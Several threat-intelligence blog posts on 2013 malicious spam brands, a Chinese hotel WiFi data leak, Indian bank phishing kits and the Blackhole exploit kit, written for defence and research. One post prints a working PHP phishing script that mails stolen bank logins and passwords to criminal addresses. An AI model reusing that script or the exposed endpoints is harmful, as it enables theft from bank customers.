Top Brands Imitated by Malicious Spam

WebSense recently released an InfoGraphic titled "Top Five Subject Lines in Phishing Emails." for January 1, 2013 through September 30, 2013. WebSense has a few differences in the way they gather their data, including being world-wide in their focus (most of my readers probably aren't receiving regular spam with the subject "Communicazione Importante"). But I also wondered about what is happening more recently. We know that the Cutwail spammers who were using the BlackHole Exploit server were the primary folks who were sending out all of those malicious LinkedIn emails, so have the top threats changed since Paunch and friends were arrested in October and the Black Hole Exploit server started drying up?

Malcovery Security has been putting out daily reports of the Top Threat Today in the malicious email world for all of 2013 (although at the beginning of the year they were still using their UAB-legacy name "Emerging Threats By Email"). These reports provide a "deep dive" look at the most prominent malware-laden email of the day. Mid-summer we made the determination that in addition to pushing out "THE" top threat, we would look at other significant malware campaigns of the day, and try to get those reports out faster and in a machine-consumable format.

Last week we presented a one-hour Webinar (still accessible, if you'd like to watch/listen to the recording) - State of Cybersecurity 2013/2014. The first 2/3rds of the webinar walks through the significant cybersecurity events of the year, followed by some Malcovery stats, like the chart shown below, followed by my Ten Security Predictions for 2014.

So, do we see LinkedIn spam as the most dangerous email "post-Paunch"? And for that matter, was it the most dangerous during the BlackHole dominated early portion of the year?

During the "Top Report of the Day" early part of the year, we saw WIDE variety of brands. In fact, in January our top reports included:

Adobe, ADP, American Airlines, BBB(4x), Bank of America, British Airways, Citibank, Digital Insights, DocuSign(2x), Dunn & Bradstreet, eFax, EFTPS (3x), FedEx, Facebook (2x), IRS, KeyBank, LinkedIn, PayPal, US Airways, Verizon, and Xerox.

LinkedIn earned the "Top Threat of the Day" position many times during the year, including January 21, April 9, April 10, July 26, August 28, September 27, and October 24. That is still less than ADP, which was the "Top Threat" on at least thirteen days (January 14, January 22, February 5, February 11, March 15, March 21, March 29, May 13, May 24, August 6, August 16, October 22, November 1st).

But what about the RECENT stuff? And how do things shape up when we look at ALL the significant malware threats we saw delivered by email instead of only "THE" top threat?

Malicious Spam Campaigns August 1 - December 13

For August 1 - December 13, here are the "Campaigns" that we saw most prominently in our T3 XML reporting:

40 Days ==> Wells Fargo (+10 Days as "Top Threat" - August 6, 9, 23, September 16, 24, October 14, 29, 30, November 27, December 11)
40 Days ==> FedEx (+ 7 Days as "Top Threat" - September 5, 9, 10, 11, 17 & October 4, 10, 30)
24 Days ==> ADP (+ "Top" on August 6, 16, October 22, November 1)
23 Days ==> Facebook (+ September 6, 27)
22 Days ==> HMRC (Her Majesty's Revenue & Customs) (+ October 21)
19 Days ==> "Picture" spam (+ October 23, November 8, 18, 22, December 10, 13)
16 Days ==> Royal Bank of Scotland
15 Days ==> Companies House UK
11 Days ==> Sage
10 Days ==> American Express
10 Days ==> HSBC
10 Days ==> LinkedIn (+ August 6, 16, October 22, November 1)
9 Days ==> Dun & Bradstreet

So what does "Most Dangerous" mean? I would certainly agree that a very-well crafted graphical LinkedIn invitation is more likely to be clicked on than a poorly worded letter from a Wells Fargo advisor with a .zip attachment that I'm supposed to open. It could be that WebSense's scoring system takes into account their observed "click-through and attempted click-through" rate, but our measure shows LinkedIn in 10th place as far as active malicious spam campaigns since August 1st, and only two days since the estimated arrest date of Paunch -- October 16th and October 24th.

Read More

20 Million Chinese Hotel Guests have data leaked

This morning Secure Computing shared a brief article about Data on 20 Million Chinese Hotel Guests being shared by hackers. Unfortunately the only link in the article was a search for the word Breach on SCMagazine's own website.

The source was South China Morning Post, which has actually been writing about this for some time. On October 11, Amy Li reported that "Home Inn Hotels" a popular discount chain, and Hanting Hotel Group, were using "faulty hotel management software" developed by CNWISDOM. This was reported by "independent internet security watchdog Wuyun.org". The NASDAQ traded hotel chain eventually acknowledged the vulnerability, which they described as a weakness in their Wireless Portal Security System, and announced on their home page that the issue had been resolved, thanking WooYun for helping them with the vulnerability.

CNWisdom Data Leaks

Shortly after the initial exchange, a seller on Taobao (think Chinese eBay) announced that he was selling 8 Gigabytes of hotel guest data for 2,000 Yuan. South China Morning Post reported that the chain had 450,000 hotel rooms in 4,500 hotels, and that when guests register, they are required to provide their home address, phone number, ID card, date of birth, and workplace if they want to use the WiFi service. This is apparently the data that was received.

As reported in Patrick Boehler December 9th story in the South China Morning Post, Chinese Hackers Leak Hotel Guest Data on WeChat, multiple websites were distributing the hotel data for 20 million guests, and some enterprising hackers had even built a chat interface allowing you to TXT someone's ID card number to the service and having it reply with the details of any hotel stays by that guest.

WooYun

WooYun regularly shares vulnerability data, so we thought we would start at the beginning and find that. There were several "cnwisdom" breach reports there, including:

WooYun-2013-41171 (submitted October 28, 2013) - which referred to an SQL injection vulnerability

WooYun-2013-41171 (submitted October 27, 2013) - which referred to a STRUCTS problem

WooYun-2013-034935 (submitted August 21, 2013) - the WiFi Data Leak

Unfortunately, I have to rely on some Google Translate here ...

The way WooYun explains it is (Gary's paraphrase of the Google Translate of what they said:)

"Users connect to their hotel's open WiFi, which requires them to use a webpage to authenticate. That webpage is using http protocol, which means the username and password are transmitted in the clear. But the next phase of the authentication is to update a central database of WiFi information. IN THE CLEAR, the authentication connects to a database using the username "cnwisdomapi" and the password "3b823[马赛克]ac36a"!!

That authentication userid and password can be used to query details for anyone who used the WIFI in ANY of these hotels!

After the media used this screen shot in their reports, the Hotel chain responding saying that the screen shot did not represent personal information of their guests.

The "Vulnerability Response" section says that the vendor was notified and confirmed the vulnerability on August 26th. On October 8th, they replied that the Vulnerabilities had been repaired and a proper authentication method that preserved encryption throughout the process to protect guests had been implemented.

WooYun and 189

This is hardly the first major breach from WooYun! In January they reported serious vulnerabilities in the Chinese telecom giant 189's infrastructure that allowed any user with a webbrowser to get detailed billing information, including the user name, address, and detailed call history for any mobile phone user!

The same breach reported also shared details on how any one could access a webserver on "wapsc.189.cn:8006" and use the "wapLogin/sendSms.action" to send unauthenticated SMS messages to any cell phone!

In a wonderful example of responsible reporting, WooYun declared the vulnerability to be "Level 20" (their highest rank) and reported the details to the CNCERT National Internet Emergency Center on January 22 prior to releasing the details publicly on March 8, 2013.

Read More

Indian Banks targeted in multi-brand Phishing Attack

Malcovery Security's PhishIQ portal is a fascinating place to explore. This week I did a "Security Year in Review" webinar for an audience of our customers and friends which was so much fun to prepare! (We recorded the webinar for those who missed it - you can watch the recording here: State of Cybersecurity 2013/2014. We reviewed the top security events of 2013, including some of the biggest hacks, the most prominent malware trends, and the successes that our security community - researchers, security companies, and law enforcement - had in responding to these challenges. I also shared my Ten Security Predictions for 2014. I've posted those to the LinkedIn group Enterprise Security Intelligence & Big Data and would love to hear your thoughts on them. Please consider joining our group and the conversation!

Malcovery Security 2014 Prediction #9: Phishing will hit hard in the emerging online banking markets in India and China

This prediction is based on a few things. The criminals in the phishing world are international. Although most phishing victims continue to be in the United States at the present time, the reason for this is the widespread availability of high-speed Internet and the prominence of Online Banking. As China and India, who between them represent 36.5% of the world population, increasingly embrace online banking the criminals of the world will turn their eyes to this population who is now banking online, but who does not have decades of experience with Internet Safety issues leading up to them. I've already received some questions about this prediction, so I thought I would share some feedback on this one by showing some of the visibility we have in PhishIQ to the issue.

The basic work, unfortunately, has already been done for preparing to attack the Indian banks. Phishing kits exist and are in circulation for at least forty Indian banks that we have seen at Malcovery just during the previous month!

e-Police India shared a phishing attack on their website at the beginning of November about a phishing campaign imitating the Reserve Bank of India. In this phishing attack, the spammers have indicated that you need to "Select Your Bank From the List Below to Complete Your OAC Registration Process". Malcovery has seen this kit several times, including for example a live version today on "thedelamere.co.uk".

For each of the icons on the list below, a full corresponding phishing site is offered. For some reason, the "western" banks on the list do NOT go to a phishing site, but provide a link directly to the brand indicated, These "non-phish" (mostly western banks, but some Indian as well) would include Barclays, Citibank, Deutsche Bank, Karnataka Bank, Karur Vysya Bank, Lakshmi Vilas Bank, RBS, Standard Charter, and Tamilnad Mercantile Bank.

(Screen shot of phish on "thedelamere.co.uk")

The same set of phishing files is regularly occurring in our Phishing intelligence system with more than 80 websites having been hacked to host these files.

Because Malcovery is REALLY good at recovering phishing kits, we were able to recover the criminals' email addresses in 15 of the 80 websites. akachi16akachi16@sify.com, akachiugonna@rediffmail.com, and akachiugonna@sify.com were found in 11 of those 15.

In November, the "action file" of these phish sent email to four email addresses, as shown above, and as observed by the investigators at e-Police.in. More recently, the "chizobamyluck@gmail.com" address has been excluded from the kit.

For example, for the phishing site:

The action file was:

<$fromemail = "$ip";
$ip = getenv("REMOTE_ADDR");
$message  = "-----------------+ Andhra Bank Details +-----------------\n";
$message .= "User Id: " .$_POST['user']."\n";
$message .= "Password: " .$_POST['pass1']."\n";
$message .= "Transaction Password: " .$_POST['pass2']."\n";
$message .= "Mobile: " .$_POST['mobile']."\n";
$message .= "Client IP      : $ip\n";
$message .= "-----------------+ Created in 2012 By DON PERO------------------\n";

$recipient = "akachi16akachi16@sify.com, akachiugonna@rediffmail.com, 
akachiugonna@sify.com, chizobamyluck@gmail.com";
$subject = "Andhra $ip";
$headers = "From: admin@gameshack.org";
$headers .= $fromemail."\n";
$headers .= "MIME-Version: 1.0\n";

if (mail($recipient,$subject,$message,$headers))	
   {		   header("Location: http://andhrabank.com");	   }else    

	   { 		echo "ERROR! Please go back and try again.";  	   }>

Read More

Paunch and the BlackHole/Cool Exploit Kit

After months of speculation, the creator of the Blackhole exploit kit can be demonstrated to be in custody. As usual with all things Russian in the Cybercrime world, Brian Krebs broke the story in the US with Meet Paunch the Accused Author of the Blackhole Exploit Kit, which provided photos of a character believed to be Paunch. These photos in turn were posted by the leading cyber investigations firm in Russia, Group-IB, who participated in the investigations with the Russian police, culminating in his arrest in the city of Togliatti on October 4, 2013.

(Image from Group-IB)

The MVD link, provided by Brian and Google Translated here, shows that a group of 13 criminals were all arrested for violation of Russia's criminal code Article 1.2.210 "the creation of and participation in a criminal organization to jointly commit one or more serious crimes". In other words, Paunch and friends have been charged with the Russian version of the RICO Act! We've just recently seen the same TYPE of law used in the US in the case of David Camez, who was charged with racketeering and conspiracy charges for his role in the crimes at Carder.su (he is one of 55 defendants in the case, and the first to go to trial...) More on Carder.su's David Camez's RICO case here.

The speculations that something may have been up with Paunch began back in October. The best early coverage we had was from Charlie Osborne, who posted over on ZDNet Blackhole malware toolkit creator Paunch suspect arrested, based off the single tip that every other source we had was also referring to -- a statement from Maarten Boone over at Fox-IT in the Netherlands.

At the time of the article in ZDNet, October 9th, Charlie quoted AVG as saying that "the Blackhole Exploit Kit is currently ranked 24th in the world of online malware, affecting 36,199 websites in 218 countries." The same link provided in that article now shows that BEH is ranked 161st, falling from position 132 on the list last week. To check the current status, use this link to AVG's AVG Info on Blackhole Exploit Kit.

Paunch posted updates about his malicious code as recently as September 2013, on Exploit.in (sorry, login required!) As usual, the authors shamelessly listed their contact information, which of course lead to their downfall:

Our contacts:
Author and a support в 1 лице (time normalized):
JID: paunch@jabber.no
JID: paunch@thesecure.biz
JID: paunch@neko.im
ICQ: 343002

A support (time from 9 to 19 on weekdays)
JID: blackhole2@jabber.ru
ICQ: 530082 

The pricing at this time was given as:

happy to announce that prices have remained the same:
Rent on our server:
-Day rental - $ 50 (limit traffic 50k hits)
-Week rent - $ 200 (limit traffic 70k hits a day)
-Month lease - $ 500 (limit traffic 70k hits a day) if need traffic limit can be increased for an additional fee

License on your server:
-License for 3 months $ 700
License-half year $ 1,000
-Year license for $ 1500
multi-domain version of the bunch - $ 200 one-time fee for the entire term of the license (not binding on the domain and on the ip)
change of the domain on the standard version of the bunch - $ 20
change ip on multidomain version bundles - $ 50
single cleaning - $ 50
Autoclean a month - $ 300

Kafeine has the original post on his excellent malware analysis blog Malware don't need Coffee.

The new version offered many options, including statistics about Windows 8 and Mobile Device infection, an option to have "less obvious" URLs for your Blackhole Exploit address, and the ability to automatically regenerate your .exe files in ways that would not be detected by AV engines. (This feature is the "Autoclean" offered for $300 per month.)

Many security features of the "auto-ban" variety were included to prevent the malware from functioning for "Reversers". These included:

11. Completely updated section "Security" on it can shine even a sub category:
a) an opportunity to block traffic without referrer (we recommend always keep it turned on)
b) the opportunity to ban unnecessary referrers
c) an opportunity to ban all referrers except your own
d) an opportunity to ban bots on the basis of a pre-arranged IP address list
d) an opportunity to ban TOR network Types which are dynamically updated as the practice most reverser work from there (we recommend always keep it turned on)
e) there was a recording mode, let you stop and wait for traffic traffic from where you do not, put the record mode, and all reversers and bots that go on your link after stopping cores go straight to the ban list)
12. Since section 11 we had a lot of opportunities for Bans, selecting at least one embodiment of the ban appears in the menu "Ban Statistics", in which you can see the number of blocked traffic, and the reason for blocking 

I can tell you that those banning practices were creating quite a bit of chaos on "Reversers"! Fortunately, my lead malware analyst at Malcovery Security had found a fairly reliable (if time-consuming) way to defeat Paunch. To show the ease of identifying his previous URL pattern, look at this list of reports Malcovery generated in the past six months where BlackHole was found just using the URL path of a "/forum/viewtopic.php" URL!

(Right-Click, "View Image" for larger version)

Much, much more data is available in the several-times daily "Malcovery T3 Reports" and additional analysis is available for interested parties. This data is ONLY showing the "/forum/viewtopic.php" aspects of this malware.

In the first column, the date of the spam campaign and the "imitated brand" is listed

2013-05-13	ADP	hxxp://116.122.158.195:8080 /forum/viewtopic.php
2013-05-13	ADP	hxxp://mail.yaklasim.com:8080 /forum/viewtopic.php
2013-05-13	ADP	hxxp://vulcantire.net /forum/viewtopic.php
2013-05-13	ADP	hxxp://westautorepair.com /forum/viewtopic.php
2013-05-13	AmericanExpress	hxxp://116.122.158.195:8080 /forum/viewtopic.php
2013-05-13	AmericanExpress	hxxp://mail.yaklasim.com:8080 /forum/viewtopic.php
2013-05-13	AmericanExpress	hxxp://vulcantire.net /forum/viewtopic.php
2013-05-13	AmericanExpress	hxxp://westautorepair.com /forum/viewtopic.php
2013-05-13	Citibank	hxxp://116.122.158.195:8080 /forum/viewtopic.php
2013-05-13	Citibank	hxxp://mail.yaklasim.com:8080 /forum/viewtopic.php
2013-05-13	Citibank	hxxp://vulcantire.net /forum/viewtopic.php
2013-05-13	Citibank	hxxp://westautorepair.com /forum/viewtopic.php
2013-05-21	eFax	hxxp://116.122.158.195:8080 /forum/viewtopic.php
2013-05-21	eFax	hxxp://debthelpsmart.org /forum/viewtopic.php
2013-05-21	eFax	hxxp://debtsmartretirement.com /forum/viewtopic.php
2013-05-21	eFax	hxxp://mail.yaklasim.com:8080 /forum/viewtopic.php
2013-05-24	ADP	hxxp://116.122.158.195:8080 /forum/viewtopic.php
2013-05-24	ADP	hxxp://monteazul.clicken1.com:81 /forum/viewtopic.php
2013-05-24	ADP	hxxp://panama.clicken1.com:81 /forum/viewtopic.php
2013-05-24	ADP	hxxp://talentos.clicken1.com:81 /forum/viewtopic.php
2013-05-29	WesternUnion	hxxp://199.168.184.198:81 /forum/viewtopic.php
2013-05-29	WesternUnion	hxxp://monteazul.clicken1.com:81 /forum/viewtopic.php
2013-05-29	WesternUnion	hxxp://panama.clicken1.com:81 /forum/viewtopic.php
2013-05-29	WesternUnion	hxxp://talentos.clicken1.com:81 /forum/viewtopic.php
2013-05-24	Chase	hxxp://116.122.158.195:8080 /forum/viewtopic.php
2013-05-24	Chase	hxxp://monteazul.clicken1.com:81 /forum/viewtopic.php
2013-05-24	Chase	hxxp://panama.clicken1.com:81 /forum/viewtopic.php
2013-05-24	Chase	hxxp://talentos.clicken1.com:81 /forum/viewtopic.php
2013-06-05	WesternUnion	hxxp://116.122.158.195:8080 /forum/viewtopic.php
2013-06-05	WesternUnion	hxxp://199.168.184.198:81 /forum/viewtopic.php
2013-06-05	WesternUnion	hxxp://verybestblueberry.com /forum/viewtopic.php
2013-06-05	WesternUnion	hxxp://wildmaineblues.com /forum/viewtopic.php
2013-07-08	Citi	hxxp://2ndtimearoundweddingphotography.com /forum/viewtopic.php
2013-07-08	Citi	hxxp://bobkahnvideo.com /forum/viewtopic.php
2013-07-08	Citi	hxxp://gfpmenusonline.com /forum/viewtopic.php
2013-07-08	Citi	hxxp://gfponlineordering.com /forum/viewtopic.php
2013-07-10	eFax	hxxp://gfpshoppingcarts.net /forum/viewtopic.php
2013-07-10	eFax	hxxp://greatstockfoodimages.com /forum/viewtopic.php
2013-07-10	eFax	hxxp://imhungrynow.com /forum/viewtopic.php
2013-07-10	eFax	hxxp://one2onebiznet.com /forum/viewtopic.php
2013-07-12	UPS	hxxp://buzztag.com /forum/viewtopic.php
2013-07-12	UPS	hxxp://customkids.com /forum/viewtopic.php
2013-07-12	UPS	hxxp://webersmokeymountaincookerreview.com /forum/viewtopic.php
2013-07-12	UPS	hxxp://wiiunlockplusreview.com /forum/viewtopic.php
2013-07-25	CNN	hxxp://198.57.130.35:8080 /forum/viewtopic.php
2013-07-25	CNN	hxxp://alsultantravel.com:8080 /forum/viewtopic.php
2013-07-25	CNN	hxxp://webmail.alsultantravel.com:8080 /forum/viewtopic.php
2013-07-25	CNN	hxxp://webmail.alsultantravel.info:8080 /forum/viewtopic.php
2013-07-25	Facebook	hxxp://198.57.130.35:8080 /forum/viewtopic.php
2013-07-25	Facebook	hxxp://alsultantravel.com:8080 /forum/viewtopic.php
2013-07-25	Facebook	hxxp://webmail.alsultantravel.com:8080 /forum/viewtopic.php
2013-07-25	Facebook	hxxp://webmail.alsultantravel.info:8080 /forum/viewtopic.php
2013-08-02	Moneygram	h00p://50.57.185.72:8080 /forum/viewtopic.php
2013-08-02	Moneygram	h00p://arki.com:8080 /forum/viewtopic.php
2013-08-02	Moneygram	h00p://northernforestcanoetrail.com /forum/viewtopic.php
2013-08-02	Moneygram	h00p://www.arki.com:8080 /forum/viewtopic.php
2013-08-14	BankofAmerica	hxxp://gutterglovegutterprotection.com /forum/viewtopic.php
2013-08-14	BankofAmerica	hxxp://gutterguardbuyersguide.com /forum/viewtopic.php
2013-08-14	BankofAmerica	hxxp://gutterhelmetleafguardgutterprotection.com /forum/viewtopic.php
2013-08-14	BankofAmerica	hxxp://gutterprosmaryland.com /forum/viewtopic.php
2013-08-14	WellsFargo	hxxp://gutterglovegutterprotection.com /forum/viewtopic.php
2013-08-14	WellsFargo	hxxp://gutterguardbuyersguide.com /forum/viewtopic.php
2013-08-14	WellsFargo	hxxp://gutterhelmetleafguardgutterprotection.com /forum/viewtopic.php
2013-08-14	WellsFargo	hxxp://gutterprosmaryland.com /forum/viewtopic.php
2013-08-15	FAX	hxxp://1800callabe.com /forum/viewtopic.php
2013-08-15	FAX	hxxp://1866callabe.com /forum/viewtopic.php
2013-08-15	FAX	hxxp://abemoussa.com /forum/viewtopic.php
2013-08-15	FAX	hxxp://abemuggs.com /forum/viewtopic.php
2013-08-16	ADP	hxxp://hubbywifeco.com /forum/viewtopic.php
2013-08-16	ADP	hxxp://hubbywifedesigns.com /forum/viewtopic.php
2013-08-16	ADP	hxxp://hubbywifedesserts.com /forum/viewtopic.php
2013-08-16	ADP	hxxp://hubbywifefoods.com /forum/viewtopic.php
2013-08-16	WellsFargo	hxxp://hubbywifeco.com /forum/viewtopic.php
2013-08-16	WellsFargo	hxxp://hubbywifedesigns.com /forum/viewtopic.php
2013-08-16	WellsFargo	hxxp://hubbywifedesserts.com /forum/viewtopic.php
2013-08-16	WellsFargo	hxxp://hubbywifefoods.com /forum/viewtopic.php
2013-08-19	ADP	hxxp://hubbywifewines.com /forum/viewtopic.php
2013-08-19	ADP	hxxp://ipodwalla.com /forum/viewtopic.php
2013-08-19	ADP	hxxp://jerseycitybags.com /forum/viewtopic.php
2013-08-19	ADP	hxxp://jerseyluggage.com /forum/viewtopic.php
2013-08-19	Facebook	hxxp://frankcremascocabinets.com /forum/viewtopic.php
2013-08-19	Facebook	hxxp://giuseppepiruzza.com /forum/viewtopic.php
2013-08-19	Facebook	hxxp://gordonpoint.biz /forum/viewtopic.php
2013-08-19	Facebook	hxxp://gordonpoint.info /forum/viewtopic.php
2013-08-20	UKLandRegistry	hxxp://giuseppepiruzza.com /forum/viewtopic.php
2013-08-20	UKLandRegistry	hxxp://gordonpoint.biz /forum/viewtopic.php
2013-08-20	UKLandRegistry	hxxp://gordonpoint.info /forum/viewtopic.php
2013-08-20	UKLandRegistry	hxxp://gordonpoint.org /forum/viewtopic.php
2013-08-26	UPS	hxxp://gordonpoint.org /forum/viewtopic.php
2013-08-26	UPS	hxxp://hitechcreature.com /forum/viewtopic.php
2013-08-26	UPS	hxxp://industryseeds.ca /forum/viewtopic.php
2013-08-26	UPS	hxxp://infocreature.com /forum/viewtopic.php
2013-09-06	CitizensBank-KeyBank	hxxp://luggagepoint.de /forum/viewtopic.php
2013-09-06	CitizensBank-KeyBank	hxxp://luggagepreview.com /forum/viewtopic.php
2013-09-06	CitizensBank-KeyBank	hxxp://luggagewalla.com /forum/viewtopic.php
2013-09-06	CitizensBank-KeyBank	hxxp://luxluggage.com /forum/viewtopic.php
2013-09-09	FedEx	hxxp://luxurybrandswalla.com /forum/viewtopic.php
2013-09-09	FedEx	hxxp://mickmicheyl.biz /forum/viewtopic.php
2013-09-09	FedEx	hxxp://mickmicheyl.ca /forum/viewtopic.php
2013-09-09	FedEx	hxxp://mickmicheyl.com /forum/viewtopic.php
2013-09-10	FedEx	hxxp://actorbell.com /forum/viewtopic.php
2013-09-10	FedEx	hxxp://facebookfansincrease.com /forum/viewtopic.php
2013-09-10	FedEx	hxxp://fillmaka.com /forum/viewtopic.php
2013-09-10	FedEx	hxxp://fillmmaka.com /forum/viewtopic.php
2013-09-11	FedEx	hxxp://actorbell.com /forum/viewtopic.php
2013-09-11	FedEx	hxxp://facebookfansincrease.com /forum/viewtopic.php
2013-09-11	FedEx	hxxp://fillmaka.com /forum/viewtopic.php
2013-09-11	FedEx	hxxp://fillmmaka.com /forum/viewtopic.php
2013-09-11	FedEx	hxxp://filmaka.biz /forum/viewtopic.php
2013-09-11	FedEx	hxxp://filmaka.co.uk /forum/viewtopic.php
2013-09-12	FedEx	hxxp://fillmmaka.com /forum/viewtopic.php
2013-09-12	FedEx	hxxp://filmaka.biz /forum/viewtopic.php
2013-09-12	FedEx	hxxp://filmaka.co.uk /forum/viewtopic.php
2013-09-12	FedEx	hxxp://filmaka.info /forum/viewtopic.php
2013-09-13	FedEx	hxxp://filmaka.org /forum/viewtopic.php
2013-09-13	FedEx	hxxp://filmaka.us /forum/viewtopic.php
2013-09-13	FedEx	hxxp://filmmaka.com /forum/viewtopic.php
2013-09-13	FedEx	hxxp://filmpunjab.com /forum/viewtopic.php
2013-09-16	FedEx	hxxp://rockims.com /forum/viewtopic.php
2013-09-16	FedEx	hxxp://swingingwiththefinkelsthemovie.com /forum/viewtopic.php
2013-09-16	FedEx	hxxp://taxipunjab.com /forum/viewtopic.php
2013-09-16	FedEx	hxxp://taxisamritsar.com /forum/viewtopic.php
2013-09-17	FedEx	hxxp://defeat-autism.com /forum/viewtopic.php
2013-09-17	FedEx	hxxp://defeat-autism.org /forum/viewtopic.php
2013-09-17	FedEx	hxxp://saltlakecityutahcommercialrealestate.com /forum/viewtopic.php
2013-09-17	FedEx	hxxp://utahbankownedhomesonline.info /forum/viewtopic.php
2013-09-17	FedEx	hxxp://utahonlinerealestate.com /forum/viewtopic.php
2013-09-18	FedEx	hxxp://defeat-autism.com /forum/viewtopic.php
2013-09-18	FedEx	hxxp://defeat-autism.org /forum/viewtopic.php
2013-09-18	FedEx	hxxp://glgkorea.com /forum/viewtopic.php
2013-09-18	FedEx	hxxp://jadecreditdesign.com /forum/viewtopic.php
2013-09-19	FedEx	hxxp://louievozza.com /forum/viewtopic.php
2013-09-19	FedEx	hxxp://louvozza.com /forum/viewtopic.php
2013-09-19	FedEx	hxxp://lvconcordecontracting.com /forum/viewtopic.php
2013-09-19	FedEx	hxxp://lv-contracting.com /forum/viewtopic.php
2013-09-20	FedEx	hxxp://lvconcordecontracting.com /forum/viewtopic.php
2013-09-20	FedEx	hxxp://mcbelectrical.ca /forum/viewtopic.php
2013-09-20	FedEx	hxxp://oliviagurun.com /forum/viewtopic.php
2013-09-20	FedEx	hxxp://onecable.ca /forum/viewtopic.php
2013-09-23	FedEx	hxxp://dsostermanlaw.com /forum/viewtopic.php
2013-09-23	FedEx	hxxp://nefcapital.com /forum/viewtopic.php
2013-09-23	FedEx	hxxp://simpacswings.com /forum/viewtopic.php
2013-09-23	FedEx	hxxp://wetalkbb.net /forum/viewtopic.php
2013-09-24	FedEx	hxxp://acedataintelligence.com /forum/viewtopic.php
2013-09-24	FedEx	hxxp://acedataintelligence.net /forum/viewtopic.php
2013-09-24	FedEx	hxxp://dsostermanlaw.com /forum/viewtopic.php
2013-09-24	FedEx	hxxp://nefcapital.com /forum/viewtopic.php
2013-09-27	Facebook	hxxp://directgrid.org /forum/viewtopic.php
2013-09-27	Facebook	hxxp://directgrid.us /forum/viewtopic.php
2013-09-27	Facebook	hxxp://integra-inspection.ca /forum/viewtopic.php
2013-09-27	Facebook	hxxp://watttrack.com /forum/viewtopic.php
2013-09-27	LinkedIn	hxxp://directgrid.org /forum/viewtopic.php
2013-09-27	LinkedIn	hxxp://directgrid.us /forum/viewtopic.php
2013-09-27	LinkedIn	hxxp://integra-inspection.ca /forum/viewtopic.php
2013-09-27	LinkedIn	hxxp://watttrack.com /forum/viewtopic.php
2013-10-01	FedEx	hxxp://smartstartfinancial.com /forum/viewtopic.php
2013-10-01	FedEx	hxxp://thewalletslip.com /forum/viewtopic.php
2013-10-01	FedEx	hxxp://tootle.us /forum/viewtopic.php
2013-10-01	FedEx	hxxp://tungstenrents.com /forum/viewtopic.php
2013-10-09	WellsFargo	hxxp://integrainspection.co /forum/viewtopic.php
2013-10-09	WellsFargo	hxxp://integrainspection.info /forum/viewtopic.php
2013-10-09	WellsFargo	hxxp://integrainspection.net /forum/viewtopic.php
2013-10-09	WellsFargo	hxxp://integrainspection.org /forum/viewtopic.php
2013-10-10	FedEx	hxxp://denisemoussa.com /forum/viewtopic.php
2013-10-10	FedEx	hxxp://integrainspection.net /forum/viewtopic.php
2013-10-10	FedEx	hxxp://integrainspection.org /forum/viewtopic.php
2013-10-10	FedEx	hxxp://integrainspections.ca /forum/viewtopic.php
2013-10-11	FedEx	hxxp://integrainspection.net /forum/viewtopic.php
2013-10-11	FedEx	hxxp://integrainspection.org /forum/viewtopic.php
2013-10-11	FedEx	hxxp://integrainspections.ca /forum/viewtopic.php
2013-10-11	FedEx	hxxp://integrainspections.co /forum/viewtopic.php
2013-10-14	WellsFargo	hxxp://integrainspection.org /forum/viewtopic.php
2013-10-14	WellsFargo	hxxp://integrainspections.ca /forum/viewtopic.php
2013-10-14	WellsFargo	hxxp://integrainspections.co /forum/viewtopic.php
2013-10-14	WellsFargo	hxxp://stratuscomputing.com /forum/viewtopic.php
2013-10-15	WellsFargo	hxxp://integrainspection.org /forum/viewtopic.php
2013-10-15	WellsFargo	hxxp://integrainspections.ca /forum/viewtopic.php
2013-10-15	WellsFargo	hxxp://integrainspections.co /forum/viewtopic.php
2013-10-15	WellsFargo	hxxp://stratuscomputing.com /forum/viewtopic.php
2013-10-23	VoiceMessage	hxxp://bernaandthebern-outs.com /forum/viewtopic.php
2013-10-23	VoiceMessage	hxxp://sayitwithpower.com /forum/viewtopic.php
2013-10-23	VoiceMessage	hxxp://thewinewars.com /forum/viewtopic.php
2013-10-23	VoiceMessage	hxxp://www.benfrederick.com:8080 /forum/viewtopic.php

Read More